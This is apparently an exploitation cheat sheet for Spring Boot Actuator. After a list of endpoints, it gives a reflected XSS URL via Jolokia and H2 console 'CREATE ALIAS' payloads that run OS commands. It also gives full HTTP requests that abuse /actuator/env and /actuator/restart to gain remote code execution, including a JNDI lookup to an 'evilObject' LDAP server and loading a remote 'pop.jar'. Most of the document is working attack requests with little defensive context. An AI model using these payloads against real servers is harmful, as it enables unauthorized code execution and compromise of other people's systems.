Actuator endpoints allow you to monitor and interact with your Spring application. Spring Boot includes a number of built-in endpoints and you can also add your own. For example the health endpoint provides basic application health information. The following endpoints are available:
- /autoconfig - Displays an auto-configuration report showing all auto-configuration candidates and the reason why they 'were' or 'were not' applied.
- /beans - Displays a complete list of all the Spring beans in your application.
- /configprops - Displays a collated list of all @ConfigurationProperties.
- /dump - Performs a thread dump.
- /env - Exposes properties from Spring's ConfigurableEnvironment.
- /health - Shows application health information (a simple 'status' when accessed over an unauthenticated connection or full message details when authenticated).
- /info - Displays arbitrary application info.
- /metrics - Shows 'metrics' information for the current application.
- /mappings - Displays a collated list of all @RequestMapping paths.
- /shutdown - Allows the application to be gracefully shutdown (not enabled by default).
- /trace - Displays trace information (by default the last few HTTP requests).
pom.xml
<dependency>
<groupId>org.jolokia</groupId>
<artifactId>jolokia-core</artifactId>
<version>1.4.0</version>
</dependency>
When visiting URL http://127.0.0.1:10090/actuator/jolokia/read%3Csvg%20onload=alert('xss')%3E?mimeType=text/html
pom.xml
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-data-jpa</artifactId>
<version>2.2.6.RELEASE</version>
</dependency>
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<scope>runtime</scope>
<version>1.4.2</version>
</dependency>
application.properties
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
You can visit /actutor/env to make sure H2 Console is enabled.
CREATE ALIAS EXECMD AS $$ String execmd(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;
CALL EXECMD('id')
CREATE ALIAS EXECMD AS $$ String execmd(String cmd) throws java.io.IOException { Runtime.getRuntime().exec(cmd);return null; }$$;
CALL EXECMD('open -a Calculator');
When visiting URL http://127.0.0.1:10090/actuator/env/spring.jmx.enabled, you will find JMX is enabled.
0x001 Remote Code Execution via spring.datasource.hikari.connection-test-query OR spring.datasource.hikari.connection-init-sql
Step 1:
POST /actuator/env HTTP/1.1
Host: 127.0.0.1:10090
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Content-Length: 280
{"sourceType": "com.zaxxer.hikari.HikariDataSource","name":"spring.datasource.hikari.connection-init-sql","value":"CREATE ALIAS EXECMD AS $$ String execmd(String cmd) throws java.io.IOException { Runtime.getRuntime().exec(cmd);return null; }$$;CALL EXECMD('open -a Calculator');"}
STEP 2:
POST /actuator/restart HTTP/1.1
Step 1:
POST /actuator/env HTTP/1.1
Host: 127.0.0.1:10090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Content-Type: application/json
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7,fr;q=0.6
Connection: close
Content-Length: 320
{
"name": "spring.datasource.hikari.connection-init-sql",
"value": "CREATE ALIAS jndi AS $$ import javax.naming.InitialContext;@CODE String jndi(String url) throws Exception {new InitialContext().lookup(url);return null;}$$;CALL jndi('ldap://127.0.0.1:1389/evilObject');"
}
STEP 2:
POST /actuator/restart HTTP/1.1
Step 1:
POST /actuator/env HTTP/1.1
Host: 127.0.0.1:10090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Content-Type: application/json
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7,fr;q=0.6
Connection: close
Content-Length: 320
{
"name": "spring.datasource.hikari.connection-init-sql",
"value": "CREATE ALIAS remoteUrl AS $$ import java.net.*;@CODE String remoteUrl() throws Exception { Class.forName (\"pop\", true, new URLClassLoader(new URL[]{new URL(\"http://127.0.0.1:9001/pop.jar\")})).newInstance();return null;}$$;CALL remoteUrl()"
}
STEP 2:
POST /actuator/restart HTTP/1.1
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